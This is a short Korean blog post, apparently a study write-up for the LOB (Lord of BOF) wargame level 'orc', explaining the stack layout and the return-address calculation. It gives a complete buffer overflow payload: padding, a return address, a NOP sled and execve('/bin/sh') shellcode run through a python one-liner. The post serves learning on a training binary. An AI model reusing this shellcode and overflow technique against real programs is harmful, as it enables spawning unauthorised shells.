본문 바로가기

해킹공부/lob

goblin

코드ㄱㄱ

egg hunter가 뭘까 싶고 그냥 payload를 쓰면 argv[1][47]가 뭐가 될지 모르겠다.

이 두 가지가 없다고 가정하고 일단 payload를 만들어보자.

0x080485c2는 strcpy를 수행한 다음 명령어이다.

argv[1][47]이 0xbf로 맞춰야 하기 때문에 그냥 몽땅 0xbf로 넣었다.

0x00000013은 int i이고 이후 40byte가 buffer이므로 RET는 0xbffffb4c이다.

그럼 payload는 다음과 같다.

./orc `python -c 'print "A"*44 + "\x80\xfb\xff\xbf" + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`

해놓고 보니 그냥 argv[1][47]에 0xbf가 있다.

왜 걸어둔 조건인지 모르겠다....

 

lob write-up을 검색해보면 1,2,3단계에서 환경변수에 쉘코드를 걸어두는 경우가 많았다.

egghunter는 그러한 방법을 막는 기법이라고 한다.

기본적인 bof에 충실하기 위해 안썼던 방법인데 이렇게 도움이 됐다.

환경변수로 푸는것도 함 공부해봐야겠다.

'해킹공부 > lob' 카테고리의 다른 글

wolfman  (0) 2017.10.18
orc  (0) 2017.10.17
cobolt  (0) 2017.10.13
gremlin  (0) 2017.10.13
gate  (0) 2017.10.03